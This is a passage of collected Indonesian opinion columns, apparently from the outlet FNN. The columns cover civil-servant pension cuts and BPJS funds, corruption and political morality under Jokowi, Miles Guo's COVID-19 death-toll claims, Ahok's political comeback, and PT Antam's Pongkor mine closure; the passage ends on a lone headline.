dinilai bakal merugikan, karena pemotongan dana pensiun itu dan manfaat lain yang sangat tinggi sehingga pensiunan PNS yang sudah bekerja dan mengabdi kepada negara tak memperoleh manfaatnya. Akhirnya sejumlah pensiunan yang tak terima atas kebijakan Presiden Jokowi itu menggugat melalui MK. Menurut Andi Muhamad Asrun, kuasa hukum dari 18 orang (terdiri dari 7 orang pensiunan dan sisanya principal), hal ini berdampak pada kerugian konkret dan tidak konkret. Andi menjelaskan, pensiunan dengan pelapor seorang PNS dengan gaji pokok paling rendah Rp 1.560.800, ketika jaminannya dialihkan ke BPJS TK, maka nominal uang pensiun yang diperoleh menyusut cukup ekstrem, bahkan sampai Rp 300.000. Hal ini juga terjadi pada PNS dengan gaji tertinggi Rp 4.425.900. “Kemudian (PNS/pelapor) gaji yang tertinggi Rp 4.425.900 akan berubah menjadi Rp 3,6 juta. Jadi, ada penurunan yang signifikan dan ini tidak dijawab sampai sidang kemarin,” tegasnya. Pensiunan berharap masalah tersebut teratasi dan tidak menimbulkan ketidakpastian akan perolehan pensiun bekas abdi negara. “Peraturan pemerintah ini tidak sinkron dan mau diputuskan paling lambat tahun 2029. Kalau paling lambat, artinya kan bisa saja besok bisa kapan-kapan tergantung pemerintah,” katanya. Merunut UU Nomor 40 Tahun 2004 tentang Sistem Jaminan Sosial Nasional (SJSN) dan UU Nomor 24 Tahun 2011 tentang BPJS, Asabri dan Taspen harus melebur ke BPJS-TK paling lambat pada tahun 2029. “Para pemohon merasa saat ini mendapat keuntungan dari Taspen dan sudah real. Kenapa sesuatu yang sudah real dicoba dikonversi ke sesuatu yang tidak real. Mereka ini berhak mendapat kepastian, tapi dilanggar, makanya diuji. Harapannya dikabulkan ya,” jelasnya. Adapun beberapa pasal yang digugat adalah pasal 57 huruf f, pasal 65 ayat 2 dan pasal 66. Ini dinilai bertentangan dengan pasal 28 h ayat 3 dan pasal 34 ayat 2 UUD 45. Dalam pasal 28 h ayat 3 UUD 45 menyatakan setiap orang berhak atas jaminan sosial yang memungkinkan pengembangan dirinya secara utuh sebagai manusia bermartabat. Sementara pasal 34 ayat 2 UUD 45, negara mengembangkan sistem jaminan sosial bagi seluruh rakyat dan memberdayakan masyarakat lemah dan tidak mampu. Putusan pada 1998 memperkuat kehadiran PT Taspen, tertuang dalam 98/PU/15XV/2017 dan putusan MA Nomor 32P/HUM/2016. “Jelas menyatakan, PT Taspen itu memiliki dasar hukum yang kuat, kalau itu dihilangkan maka kerugian operasional akan hilang,” jelasnya. PT Taspen itu masuk sebagai perusahaan jasa keuangan BUMN dalam pengawasan Panja Industri Jasa Keuangan yang dibentuk Komisi XI DPR RI belum lama ini. Dirut PT Taspen ANS Kosasih menyebut, jika pihaknya dipanggil, itu tidak akan menjadi masalah. Hal ini mengingat dana pensiun anggota DPR akan dibayarkan oleh Taspen. “Lha, kalau Taspen kita dipanggil ya datang, kita hargai itu. Wajar saja kok karena pensiunan DPR yang bayar Taspen,” lanjut ANS Kosasih, mengutip TribunJatim.com, Kamis (13 Februari 2020 08:55). “Kita juga punya kesempatan untuk menyampaikan kepada Bapak Ibu di DPR, dananya aman kok, pasti prudent,” kata Kosasih di Menara Taspen, Senin (27/1/2020). Menurut Kosasih, DPR memang berkepentingan dalam mengetahui kinerja PT Taspen. Namun, saat ditanya peleburan PT Asabri dan PT Taspen ke BPJS TK, Kosasih menyebut itu adalah wewenang Kementerian BUMN. “Yang itu gini, kan itu masih dibicarakan di tingkat atas. Kami sih ikut pemegang saham,” ungkap Kosasih. “Kan Taspen bukan punya kita. Taspen kan punya RI jadi tanya ke stakeholder (Kementerian BUMN),” jelasnya. Kosasih menyebutkan, sebagai pengelola PT Taspen, pihaknya juga tidak berwenang menjawab hal itu. Tapi, ia mengaku tanggung jawabnya hanya sebatas mengelola dan memperoleh imbal hasil yang baik. “Kita enggak berwenang jawab itu ya. Kita cuma kelola dan alhamdulillah dapat imbal hasil yang baik,” ungkapnya. Sebelumnya, DPR Komisi XI membentuk Panja yang menyoroti kinerja beberapa perusahaan jasa keuangan. Antara lain, PT Asuransi Jiwasraya (Persero), AJB Bumiputera 1912, PT Asabri (Persero), PT Taspen (Persero), dan PT Bank Muamalat Indonesia Tbk. Reaksi keras datang dari Adhie Massardi lewat akun Twitter-nya @AdhieMassardi. Jubir era Presiden Abdurrahman Wahid (Gus Dur) ini menilai, kebijakan Presiden Jokowi memotong uang pensiun merupakan bentuk perampokan. “Kalau dipotong seenaknya, namanya perampokan,” kata Adhie Massardi di akun Twitter-nya @AdhieMassardi. Kata Adhie, uang pensiun bukan hibah dari pemerintah atau pemberi kerja.Tapi uang pegawai/pekerja yang dipotong tiap bulan. “Uang pensiun ada UU-nya. Wajib disisihkan dan ditempatkan perusahaan asuransi pensiun,” papar Adhie, seperti dilansir SuaraNasional.com, Jum’at (14/2/2020). Biayai Proyek Menurut Koordinator Komunitas Relawan Sadar (Korsa) Amirullah Hidayat, Pemerintah berlaku zalim dengan menggunakan dana BPJS Ketenagakerjaan (atau dikenal BPJS TK) untuk pembangunan infrastruktur. “Itu suatu tindakan yang tidak manusiawi dan penghinaan yang dilakukan terhadap buruh,” kata Amirullah Hidayat. Seperti diberitakan, BPJS Ketenagakerjaan telah menginvestasikan Rp 73 triliun pada proyek infrastruktur per Januari 2018. Melansir RMOL.com, Senin (26/3/2018), investasi tersebut adalah investasi tidak langsung yaitu dalam bentuk surat utang (obligasi) yang diterbitkan oleh Badan Usaha Milik Negara (BUMN). Seperti diketahui, BPJS Ketenagakerjaan diperuntukkan untuk pekerja atau buruh sebagai Jaminan Kecelakaan Kerja (JKK), Jaminan Hari Tua (JHT), Jaminan Kematian (JKM), dan Jaminan Pensiun (JP). “Bukan untuk dijadikan pembangunan infrastruktur. Bila ini terlaksana maka buruh harus melakukan perlawanan atas kebijakan ini, jika perlu buruh melaporkan kebijakan ini ke pengadilan internasional sebab ini jelas-jelas pelanggaran HAM yang nyata,” ujar Amirullah. Menurutnya, tidak ada alasan yang masuk logika menggunakan duit buruh untuk membangun infrastruktur, sebab pembangunan infrastruktur itu tanggung jawab pemerintah. Jika memang pemerintah tidak sanggup membangun infrastruktur, “jangan dipaksakan!” “Janganlah buruh yang dikorbankan untuk nafsu pemerintahan Jokowi ini,” lanjut Amirullah. Ia mengatakan, buruh mengeluarkan keringat siang malam hanya untuk mencari uang guna membayarkan BPJS setiap bulan. “Tapi uangnya dimanfaatkan untuk yang tidak ada kaitan dengan kepentingan dengan buruh, ini sama saja pemerintah Jokowi mengeksploitasi para buruh, ini adalah suatu tindakan yang menyedihkan,” tambah Amirullah. Seharusnya yang dilakukan pemerintah adalah bagaimana memberi penghargaan terhadap buruh, seperti dengan menyetop buruh kasar Asing (TKA) masuk ke dalam negeri. Bukan memanfaatkan uang buruh. Tampaknya, untuk menutupi dana Rp 73 triliun yang sudah dipakai untuk membiayai proyek infrastruktur itu, sehingga Presiden Jokowi perlu membuat “kebijakan” potong uang pensiun PNS, TNI, dan Polri ini. Jangan-jangan rencana pemerintah meleburkan pengelolaan dana pensiun dari PT Taspen dan PT Asabri ke BPJS TK itu hanya dalih guna menutupi Rp 73 triliun tersebut? Penulis wartawan senior

Merajalelanya Korupsi dan Moralitas Kekuasaan (Bagian Kedua)

By Dr. Syahganda Nainggolan Jakarta, FNN - Apakah korupsi itu budaya kita? Banyak peneliti yang mencari adanya hubungan korupsi dengan sistem birokrasi dan kekuasaan. Namun banyak juga mencoba mencari korelasi korupsi pada persoalan moral dan budaya para pemimpin. Para filosof, sebagaimana dikatakan dalam "Stanford Encyclopedia of Corruption: Philosophers, at least, have identified corruption as fundamentally a moral, as opposed to legal, phenomenon. Acts can be corrupt even though they are, and even ought to be, legal. Moreover, it is evident that not all acts of immorality are acts of corruption; corruption is only one species of immorality." Dari sini terlihat para filosof sangat mengaitkan korupsi dengan perbuatan amoral. Tentu saja kebanyakan filosop ini berbeda dengan Machiavelli yang menyatakan korupsi itu adalah godaan yang alami. Sebagaimana di atas disebutkan, Sarah Chayes mengutip Machiavelli dalam "Thieve of State". Luhut Binsar Panjaitan, salah satu arsitek utama rezim Jokowi, pada tahun 2018, mengatakan bahwa semua orang memiliki gen maling. Pikiran LBP ini terlihat mirip dengan pandangan Machiavelli, bahwa tidak jelas soal kaitan moral dan korupsi. Namun, dahulu Bung Hatta misalnya mengatakan, sampai matipun korupsi itu sebuah kejahatan. Cerita yang jadi legenda tentang keteladanan Bung Hatta adalah menahan keinginan beliau membeli sepatu Bally seumur hidupnya. Bung Hatta terus menabung selama sebelas tahun ketika menjabat Wakil Presiden Republik Indonesia. Tabungan itu diletakkan diatas meja Wakil Presiden dan disisinya ada iklan sepatu Bally. Sepatu yang sangat populer masa itu. Namun, sayang sekali, tabungannya tidak pernah cukup untuk membeli sepatu Bally itu. Dan dia tidak pernah menerima suap dan tidak korupsi. Sebaliknya, banyak elit kekuasaan sekarang hanya butuh beberapa tahun untuk menumpuk kekayaan dari hasil korupsi. Tampak selain masalah moral, korupsi juga sering dihubungkan dengan kelemahan sistem pemerintahan (struktural). Namun, kita yakin persoalan moral tetap menjadi kunci utama. Nasib Revolusi Mental Jokowi sudah jelas dalam tesisnya pada "Revolusi Mental", bahwa korupsi akan melumpuhkan bangsa kita. Sementara kita melihat bahwa belum ada tanda-tanda Jokowi akan bersikap tegas pada korupsi. Apa itu sikap tegas? Jika membandingkan dengan rezim Xi Jin Ping di RRC, di sana banyak pejabat ditembak mati karena kasus korupsi. Namun, kita tetap mengharapkan Jokowi mampu menjadi "role model" atau simbol moral anti korupsi. Sebuah agenda non sistem atau structural. Jokowi harus mampu menghadirkan agenda moral itu. Hal itu pertama harus keluar dari dirinnya Jokowi. Dalam kaitan korupsi, yakni tidak mengambil keuntungan pribadi dari agenda publik, kebijakan publik, nepotisme, suap dan lain-lain. Jokowi harus menjadi inspirasi bagi kekuasaannya. Setidaknya di lingkungan keluarga, istana dan kabinet, seperti Bung Hatta, sang Proklamator hebat itu. Di luar sebagai inspirator yang personal, Jokowi juga harus membangun moral kelompok pada elit kekuasaan untuk tidak tergiur dengan urusan-urusan yang bersifat material. Namun, baik sebagai simbol moral maupun agenda struktural, pemberantasan korupsi tidak terlihat dalam periode kedua Jokowi. Burhanuddin Muhtadi, misalnya, dalam "Dilema Jokowi, Publik atau Kartel Politik?” (Media Indonesia, 18/12/19), melihat bahwa Jokowi tidak lagi masuk pada isu HAM dan pemberantasan korupsi pada era kedua berkuasa. Katanya, Jokowi hanya masuk pada isu-isu ringan, seperti pungutan liar (pungli) saja. Selain itu, sebagian besar rakyat, tidak dapat menerima gejala nepotisme yang ditunjukkan keluarga Jokowi, yang anak, menanti dan ipar ramai-ramai maju di pilkada saat ini. Dengan demikian, apakah nasib revolusi mental Jokowi sudah menjadi masa lalu? Reshuffle Kabinet Korupsi merajalela, yang terungkap dari kasus Jiwasraya dan Asabri, serta kasus kompleks Wahyu Setiawan dan Harun Masiku, menunjukkan kelemahan Jokowi dan rezimnya sejak awal berkuasa. Kelemahan ini ditandai dengan suasana ketidaktertiban rezim penguasa. Bahkan, Sekjen partai penguasa, Hasto Kristyanto, menuduh bahwa dia dijalimi oknum penguasa. Bagaimana mungkin Sekjen Partai penguasa dizalimi? Apakah itu menunjukkan keretakan dalam tubuh rezim? Diantara situasi kelemahan ini, elit Kantor Staf Presiden, saat ini melemparkan isu perombakam kabinet. Isu perombakan kabinet tentu saja memberi peluang bagi Jokowi untuk kembali pada cita-cita revolusi mental dan nawa citanya. Paling kurang Jokowi memberikan harapan baru bagi rakyat. Namun, isu perombakan kabinet juga menyisakan pertanyaan tentang "kenapa mengurus negara seperti main-main?" Seharusnya, desain organisasi pemerintahan, apalagi bagi petahana, sudah sejak awal dirancang dengan matang. Dasain organisasi pemereintah harus ditunjukkan dengan soliditas kabinet, yang disisi oleh orang-orang profesion dan membumi. Jika perombakan kabinet yang dihembuskan elit Kantor Staf Presiden merujuk pada perlunya koreksi moral pemerintahan Jokowi, maka hal itu menjadi penting. Sebaliknya, jika hanya merujuk isu salah komposisi kabinet, perombakan itu hanyalah politik kekuasaan yang kurang bermoral. Manggali lubang bukan untuk meneutup lubang, tetapi untuk menutup goa. Penutup Kita harus benar-benar mengembalikan spirit bernegara pada tempat dan arah yang benar. Bernegara dalam konstitusi kita adalah mengutamakan rakyat. Mengutamakan rakyat adalah konsep moralitas yang sudah diajarkan Bung Hatta, dan para founding fathers lainnya. Mengutamakan rakyat hanya bisa dilakukan jika penyelenggara negara mampu pisahkan kepentingan pribadi adan kelompoknya dengan kepentingan rakyat. Memisahkan kepentingan itu, lebih jauh lagi adalah membunuh ambisi-ambisi pribadi untuk memperkaya diri. Situasi merajalelanya korupsi saat ini menjadi ancaman serius bagi kelangsungan bangsa kita. Pada saat yang bersamaan, kondisi ekonomi kita semakin terpuruk. Kenyataan ini ditandai dengan pertumbuhan ekonomi yang jauh dari janji-janji kampanye Jokowi (petumbuhan ekonoimi 7 %) dan hutang negarapun yang menumpuk yang luar biasa besar. Kedua persoalan ini, korupsi yang merajalela dan pertumbuhan ekonomi di bawah 7% merupakan koeksistensi, di mana keduanya membuat Indonesia bisa terperangkap ke arah negara gagal. Sebuah negara yang tidak pernah stabil di sosial politik dan keamanan. Akibatnya, kemarahan rakyat akan meluas sebagai dampak dari korupsi yang kronis di kalangan pejabat. Sementara pada waktu yang bersamaan, kemiskinan dan ketimpangan sosial menganga lebar. Isu reshuffle kabinet yang dihembuskan kalangan istana belakangan ini, haruslah dikaitkan dengan moralitas kekuasaan. Bukan sekedar menakut-nakuti anggota kabinet dan sekedar "power sharing" kekuasaan. Menghentikan korupsi dan mengembalikan kekuasaan pada orang-orang bermoral adalah agenda urgen Presiden Jokowi secepatnya. (habis) Penulis adalah Direktur Eksekutif Sabang Merauke Circle

Miles Guo, Buronan Momok Baru China?

Oleh Mochamad Toha Jakarta, FNN - Nama miliarder asal China, Miles Guo, tiba-tiba kini kembali menjadi perhatian media dunia. Ia seolah “menantang” Pemerintah China terkait jumlah korban Virus Corona yang mewabah negeri leluhur pria yang bernama asli Guo Wengui ini. Melansir Mata-Media.Net, jumlah korban tewas secara total yang dirilis Pemerintah Komunis China terkait virus mematikan itu tidak sesuai fakta di lapangan. Guo mengungkap ini dalam Program “War Room: Pandemic” yang disiarkan Americasvoice.news, Sabtu (8/2/2020) lalu. Miles Guo menyebut, pihak China tidak ingin pihak luar mengetahui jumlah sebenarnya dari korban virus corona ini. Miles Guo menyebut jika korban tewas akibat virus corona ini sudah mencapai 50 ribu lebih. “Di Wuhan, setiap hari ada 1.200 mayat yang dikremasi. Itu baru di Wuhan saja. Sementara total yang sudah dikarantina lebih dari 250 juta orang di seluruh China,” tegas Miles Guo. “Saya dapat informasi dari ‘orang dalam’, ada 1,5 juta orang sudah terkonfirmasi terjangkit virus corona di seluruh China. Dan total jumlah kematian, sesuai data yang sudah dikremasi adalah 50 ribu, bukan 30 ribu,” jelasnya. Menurut miliarder yang tinggal di New York, Amerika Serikat (AS) ini, Pemerintah Komunis China mencoba mengalihkan perhatian soal jumlah sebenarnya dari korban virus corona ini dengan menyebut virus berasal dari AS. “Tak ada kejelasan soal jumlah total kematian, berapa banyak yang sudah dikarantina, berapa banyak yang dipastikan terjangkit. Ini sudah sangat berbahaya,” tandas Miles Guo, seperti dikutip Mata-Media.Net, Rabu (12/2/2020). Banyak kalangan yang meragukan informasi Miles Guo terkait jumlah korban virus corona itu. Pasalnya, Miles Guo sendiri adalah seorang buronan berbagai tindak kriminal yang oleh pemerintah China sudah diminta untuk ditangkap. Jejak digital mengungkap tuduhan Beijing terhadap taipan properti yang kini berdomisili di New York itu. Miles Guo, meminta suaka politik dari pemerintah Amerika Serikat setelah menuduh sejumlah pejabat tinggi China terlibat skandal korupsi. Kepada BBC, kuasa hukum Miles Guo, Thomas Ragland, menyebut kliennya yang dikenal dengan nama Miles Kwok itu yakin “telah dianggap sebagai lawan politik oleh pemerintah China”. Beijing telah meminta Miles Guo ditangkap, namun tuduhan kepada pengusaha itu belum jelas. Media massa milik pemerintah China menyebut pria berusia 53 tahun itu menyuap wakil menteri, namun Guo membantah hal tersebut. “Guo takut pemerintah China berupaya menghukumnya atas pernyataan dan kegaduhan yang diciptakannya,” kata Ragland, Kamis (7/9/2017). Miles Guo yang meninggalkan China pada 2014 itu mengunggah sejumlah cuitan di Twitter dan menampilkan video di Youtube yang mengungkap dugaan korupsi pejabat penting Partai Komunis China, termasuk tokoh sentral antikorupsi negara itu, Wang Qishan. Guo juga merilis dokumen yang disebutnya rahasia negara terkait kongres Partai Komunis. Kongres itu digelar setiap lima tahun yang sudah diselenggarakan pada 18 Oktober 2017. Meskipun Guo tak menampilkan bukti-bukti kuat, seluruh tudingan yang diungkapnya itu memicu kemarahan Beijing. Melansir Detik.com, Sabtu (09 Sep 2017 13:10 WIB), pada April 2017 silam, pemerintah China mengeluarkan surat penangkapan internasional, red notice kepada Interpol di seluruh dunia untuk menangkap Guo. Disebutkan, otoritas China telah menyelidiki 19 kejahatan yang diduga pernah dilakukan Guo, antara lain penyekapan, penggelapan, dan pencucian uang. Agustus 2017, kepolisian China membuka investigasi terkait tuduhan pemerkosaan yang diperbuat Guo. Guo sendiri telah membantah berbagai tuduhan itu. Ia menilai surat perintah penangkapan terhadapnya didasari kepentingan politik. Ragland mengatakan sebagai pemohon suaka, Guo yang visa turisnya habis pada 2017 ini berhak tetap tinggal di AS sampai keputusan administratif soal suaka itu keluar. Reuters menyebut proses permohonan suaka di AS rata-rata memakan dua hingga tiga tahun. Sementara itu, Miles Guo juga menghadapi tuduhan fitnah atau pencemaran nama baik dari sejumlah warga dan perusahaan di China. Terkait itu, Guo mengklaim sudah tidak berstatus Warga Negara China lagi. Kepada Voice of America edisi bahasa China, Miles Guo mengaku mempunyai paspor dari 11 negara berbeda. Namun, tidak jelas alasan Guo tidak pindah ke satu dari sekian negara itu ketika visanya di AS kedaluwarsa. Ragland enggan merinci status hukum Guo sebagai warga negara China atas dasar privasi. ”Dia berada di AS menggunakan paspor dan visa resmi. Lebih dari itu, saya tidak mau membicarakan perihal paspornya,” ujarnya. Sayangnya, hingga kini, pihak Interpol belum juga berhasil “menangkap” Guo yang kala itu berhasil melarikan diri dari China bersama istri dan anaknya. Sedangkan keluarga Guo yang lainnya gagal meninggalkan China. Kini mereka menunggu hukuman mati! Mengapa Miles Guo berani bicara terkait virus corona? Kabarnya, Guo dendam. Ia gunakan hubungan bisnisnya dengan Presiden AS Donald Trump untuk balas dendam. Konon, Guo itu juga dalang provokasi perang dagang AS dan China. Selama ini data dari Guo manipulasi. Keasliaannya diragukan. Namun dimanfaatkan Trump. Targetnya jika salah, Guo yang diseret Trump ke pengadilan HAM. Karena itu, semua info dari Guo tidak layak dipertimbangan, apalagi dipublikasikan. Guo kini tinggal di AS. Di apartemen berpenjaga tentara swasta bantuan dari Trump pribadi, bukan AS. Kekayaan Guo di China dibekukan. Juga di Hongkong, Korsel, Korut, dan negara lain yang punya hubungan bilateral dengan China. Miles Guo kini marah. Guo berambisi hancurkan China. Pertanyaannya, mampukah seorang sipil hancurkan China yang kuat dalam segalanya? Penulis wartawan senior.

Ahok Rebranding

Oleh Hersubeno Arief Jakarta, FNN - Ahok disiapkan untuk kembali ke jalur politik elektoral? Tanda-tanda itu sangat kuat menyusul munculnya nama mantan Gubernur DKI Jakarta itu dalam sebuah survei. Dengan memanfaatkan “momentum” banjir di Jakarta, Ahok dimunculkan kembali sebagai figur jagoan dan sukses ketika memimpin ibukota. Dia dinilai paling berhasil menangani banjir di ibukota. Tak tanggung-tanggung. Kinerja Ahok, mengutip survei yang baru saja dirilis oleh Indo Barometer, paling mencorong. Dibandingkan dengan Jokowi saja, Ahok lebih unggul. Konon pula dibandingkan dengan Anies Baswedan yang kini tengah menjabat. Sangat njomplang. Seperti bumi dengan langit! Ahok paling TOP! Itu berdasarkan “persepsi” publik nasional. Artinya penilaian dari warga sak-Indonesia, yang diwakili oleh populasi sampel sebanyak 1200 orang. Bukan warga Jakarta yang langsung merasakan dampak banjir dan penanganannya. Namanya juga persepsi. Ya bebas-bebas saja. Jadi tidak perlu diadu dengan data dan fakta. Ihwal sampel publik secara nasional inilah yang belakangan banyak disoal oleh para pendukung Anies. Ada yang menuding survei tersebut sebagai pesanan. Survei yang sengaja dibuat untuk menjatuhkan kredibilitas Anies, sekaligus mengangkat Ahok. Maklumlah dari sisi elektabilitas, Anies saat ini adalah kandidat capres paling moncer. Belum ada kandidat lain yang berhasil menyainginya. Jadi perlu ada operasi politik untuk menghancurkannya. Downgrading! Survei sejauh ini terbukti berhasil mempengaruhi opini publik dan keputusan politik, sekaligus menjadi sebuah justifikasi keabsahan kemenangan seorang kandidat. Bagi yang memahami dunia marketing politik, munculnya kembali nama Ahok dalam sebuah survei tak terlalu mengagetkan. Ini jelas sebuah indikasi kuat dia sedang disiapkan untuk come back ke dunia politik. Ahok sedang menjalani proses rebranding. Sebuah strategi pemasaran dimana nama baru istilah, simbol, desain, konsep, atau kombinasi dibuat untuk sebuah merek dengan maksud mengembangkan identitas baru yang dibedakan dalam benak konsumen, investor, pesaing, dan pemangku kepentingan lainnya (wikipedia). Singkat kata rebranding adalah sebuah strategi pemasaran untuk mengubah citra sebuah produk, dalam hal ini adalah Ahok. Maklumlah, setelah kalah di Pilkada DKI 2017 dan masuk penjara karena penistaan agama, nama Ahok hancur-hancuran. Dia juga menghilang dari ingatan publik. Dipersiapkan dengan hati-hati dan cermat Bila kita mengamati berbagai tahapannya, upaya rebranding ini dipersiapkan dengan sangat cermat. Utamanya menjelang hari-hari kebebasannya. Sejumlah pendukungnya yang biasa disebut sebagai Ahoker menyiapkan sebuah buku biografi. Judulnya “Tjahaja Seorang Basuki” yang ditulis oleh Rudi Thamrin. Ahok juga membuat sebuah akun di Youtube bernama “Panggil saya BTP.” Coba perhatikan. Permintaannya untuk tidak lagi dipanggil sebagai Ahok, secara marketing politik pasti punya tujuan yang jelas. Ahok adalah simbol nama minoritas Cina. Secara politik sangat tidak menguntungkan. Belum lagi bila dikaitkan dengan kasusnya “Ahok si Penista Agama!” Setelah keluar dari penjara, Ahok memilih bergabung dengan PDIP. Bukan PSI sebuah partai yang semula disiapkan akan menjadi kendaraan politiknya. Sebuah pilihan yang cerdas dan rasional. PDIP adalah partai pemenang pemilu. Secara tradisional basis pemilihnya juga lebih luas. Sementara PSI tidak lolos ambang batas parlemen. Perlu kerja keras untuk menjadi kendaraan politik yang bisa diandalkan. Kerugian lain bila Ahok memilih bergabung dengan PSI, maka asosiasinya dengan kelompok minoritas akan semakin kuat. Sebagai besar pengururus dan aleg PSI adalah etnis Cina dan non muslim. Dalam pemilu lalu materi kampanye PSI juga dianggap menyerang umat Islam. Mulai dari anti Perda Syariah dan anti poligami. Semua itu akan sangat merugikan Ahok. Membuat stigma lamanya sebagai penista agama, akan semakin kuat. Tahapan paling berani dari rebranding Ahok adalah penunjukannya sebagai Komisaris Utama PT Pertamina. Jokowi punya andil besar di balik penunjukan itu. Pertamina adalah BUMN dengan asset terbesar. Posisinya juga sangat strategis dan menguasai hajat hidup orang banyak. Meneg BUMN Erick Thohir kepada media menyatakan alasan memilih Ahok karena dia dikenal sebagai figur pendobrak. Pertamina butuh itu. Sekali lagi perhatikan diksi “pendobrak.” Kata itu sangat sejalan (in line with) dengan branding berhasil mengatasi banjir di Jakarta. Bersama kemacetan, banjir adalah sebuah problem yang tidak pernah berhasil diatasi oleh para gubernur DKI. Dan Ahok paling sukses! Melalui posisinya sebagai Komut Pertamina, Ahok kembali masuk dalam jalur perbincangan publik dan media. Sebuah tahapan penting dalam marketing politik: awareness dan popularitas berhasil kembali diraihnya. Dari sisi media, peran dan pemberitaan soal Ahok jauh lebih menonjol dibandingkan Dirut Pertamina Nicke Widyawati. Sampai-sampai Ahok disindir sebagai Komut rasa Dirut. Urusannya tinggal mendongkrak likeness dan elektabilitas. Lembaga survei punya peran besar pada tahapan ini. Melihat berbagai tahapan-tahapan itu, kita bisa dengan mudah menduga ke mana arah barang ini. Jadi Jangan terlalu kaget bila pada tahun 2022 ketika Pilkada DKI ditunda dan ditunjuk seorang Pelaksana Tugas (Plt) Gubernur, maka sangat mungkin Ahok akan ditunjuk oleh Jokowi sebagai Plt Gubernur DKI sampai Pilpres 2024. Alasannya cukup kuat. Dia adalah figur “pendobrak” dan “paling sukses” mengatasi banjir! Dari posisi ini tracknya menjadi lebih jelas lagi. Pilpres di depan mata dan Ahok sudah punya modal yang sangat kuat! Welcome back Ahok…Eh maaf….BTP Penulis wartawan senior.

Pongkor Menunggu Reklamasi PT Antam

By Kafil Yamin Jakarta, FNN - Masyarakat di wilayah Pongkor berrencana membangun wilayah bekas tambang PT Antam Tbk menjadi tempat pendidikan, pariwisata dan usaha perdesaan. Wakil-wakil masyarakat dari Kecamatan Nanggung, Tegal Lega, Leuwisadeng, Leuwiliang dan Cigudeg yang berhimpun di bawah Yayasan Lingkar Pongkor (YLP) telah menyusun konsep pengembangan dan pembangunan wilayah Pongkor jangka menengah maupun jangka panjang. “Kami buat rencana ini untuk mengantisipasi berakhirnya operasi tambang PT Antam di sini. Kami ingin membantu mereka agar meninggalkan jejak yang baik,” kata Asep Hudri, Ketua YLP kepada FNN. Di samping habis masa kontrak, PT Antam berencana menutup operasi tambangnya di wilayah Gunung Pongkor karena cadangan emasnya sudah habis. Melalui 33 tahun eksploitasi, PT ANTM sudah meraup trilyunan rupiah. Sangat masuk akal bila orang beranggapan bahwa semua hasil keuntungan perusahaan tersebut sudah menjadi pendapatan negara dan sudah digunakan untuk kesejahter aan rakyat. Menurut akal sehat pula, daerah dan masyarakat yang ditinggalkan perusahaan negara itu pastilah sudah menjadi makmur dan maju. Namun di wilayah Gunung Pongkor, akal sehat itu harus berbenturan dengan irasionalitas dan kenyataan yang pahit. Kecamatan Nanggung, Leuwisadeng, Leuwiliang, Cigudeg, Tegal Lega yang mengelilingi operasi tambang emas PT Antam, jauh dari gambaran sejahtera. Bahkan kini, setelah 33 tahun wilayah itu dikuras cadangan emasnya, pihak peguras meninggalkannya begitu saja. Kenyataan lebih pahit adalah: Perusahaan itu milik negara, yang keberadaannya hanya berguna bila bermanfaat bagi rakyat – bukan membawa madharat. Kontrak PT Aneka Tambang di Gunung Pongkor, Bogor berakhir tahun 2021. Namun seperti diungkapkan Direktur Utama Antam Arie Prabowo Arietedjo pihaknya sedang mengajukan perpanjangan izin untuk menambang daerah Papandayan yang masih menyimpan cadangan emas cukup, dan untuk menghabiskan serpihan-serpihan yang masih tersisa. Masalahnya, Papandayan berada di dalam kawasan Taman Nasional yang menurut undang-undang tidak boleh dieksploitasi. Namun seperti sering terjadi, undang-undang bisa diakali untuk kepentingan tertentu. Apalagi ini kepentingan perusahaan milik negara. Caranya adalah dengan mengubah status yang diinginkan itu dari Taman Nasional menjadi Hutan Lindung. Nah, Hutan Lindung masih bisa diekspolitasi dengan persyaratan bahwa ekspolitasi itu harus di bawah permukaan tanah. Bagi perusahaan tambang, persyaratan ini dekat-dekat kepada lelucon, karena kegiatan penambangan memang di bawah permukaan tanah. Maka, pada tahun 2016, Kementerian Lingkungan Hidup dan Kehutanan menerbitkan Kepmen Nomor SK 327/MENLHK/sekjen/Pla.2/4/2016 pada 26 April 2016 tentang perubahan status kawasan dari taman nasional menjadi hutan lindung. Ayat 1 Undang-Undang No 4 Tahun 2009 Pasal 47 menyebutkan bahwa izin usaha produksi bisa diperpanjang sampai dua kali. Masing-masing perpanjangan 10 tahun. Salah satu kawasan taman nasional yang digunakan untuk perluasan hutan lindung, yakni milik PT Antam. “Sebagian besar lahan LPKH yang kita miliki merupakan hutan lindung. Dalam aturan kita, masih diperbolehkan melakukan aktivitas pertambangan di hutan lindung di bawah tanah. Untuk di permukaan memang tidak diperbolehkan,” kata Manajer Umum PT Aneka Tambang UPBE Pongkor I Gede Gunawan. Padahal sebenarnya, kewenangan mengelola hutan telah berpindah ke pemerintah daerah dengan adanya UU No.22 Tahun 1999 tentang Otonomi daerah. YLP sangat mengharapkan PT Antam menaati Permen no. 7/2014 tentang reklamasi dan pascatambang. “Perusahaan yang melakukan eksploitasi harus menyerahkan rencana reklamasi dan dana jaminan reklamasi-pasca tambang , lima tahun sebelum operasi tambang berakhir, untuk perbaikan lingkungan atas lahan yang terdampak olehnya,” kata Ketua YLP Asep Hudri. Menurut Peraturan Menteri Energi dan Sumber Daya Mineral Nomor: 18 Tahun2008, Pemegang Izin Usaha Pertambangan wajib menyampaikan rencana pascatambang dan menyediakan biaya pelaksanaannya kepada Menteri melalui Direktur Jenderal, gubernur, bupati/walikota sesuai tempat operasi perusahaan bersangkutan. Bahkan, YLP siap membantu PT Antam mewujudkan rencana pasca tambang dengan mengajukan beberapa program yang dibutuhkan masyarakat setempat. Program itu adalah pendidikan, pariwisata dan pengembangan usaha perdesaan. Dalam bidang pendidikan, YLP sudah menyiapkan rencana pendirian perguruan tinggi. Dalam bidang pariwisata, telah disiapkan rencana wisata petualangan yang sesuai dengan karakter dan kontur lahan bekas tambang. Sedangkan dalam bidang ekonomi, YLP menyiapkan rencana pengolahan sumber daya air minum dan agrobisinis. “Banyak para akademisi bergelar professor, doctor, master, asal daerah Pongkor yang berkiprah di kota-kota lain, tidak mengabdi di daerahnya karena memang di sini tidak ada perguruan tinggi,” kata Asep Hudri. “Karena itu, keberadaan perguruan tinggi di sini akan membuka jalan bagi mereka untuk mengabdi di tempat asalnya. Dan kami sudah berkomunikasi dengan mereka tentang rencana ini,” tambahnya. (Bagian Akhir) Penulis adalah Wartawan Senior

Pancasila Adalah Intisari Dari Al-Qur’an dan Injil

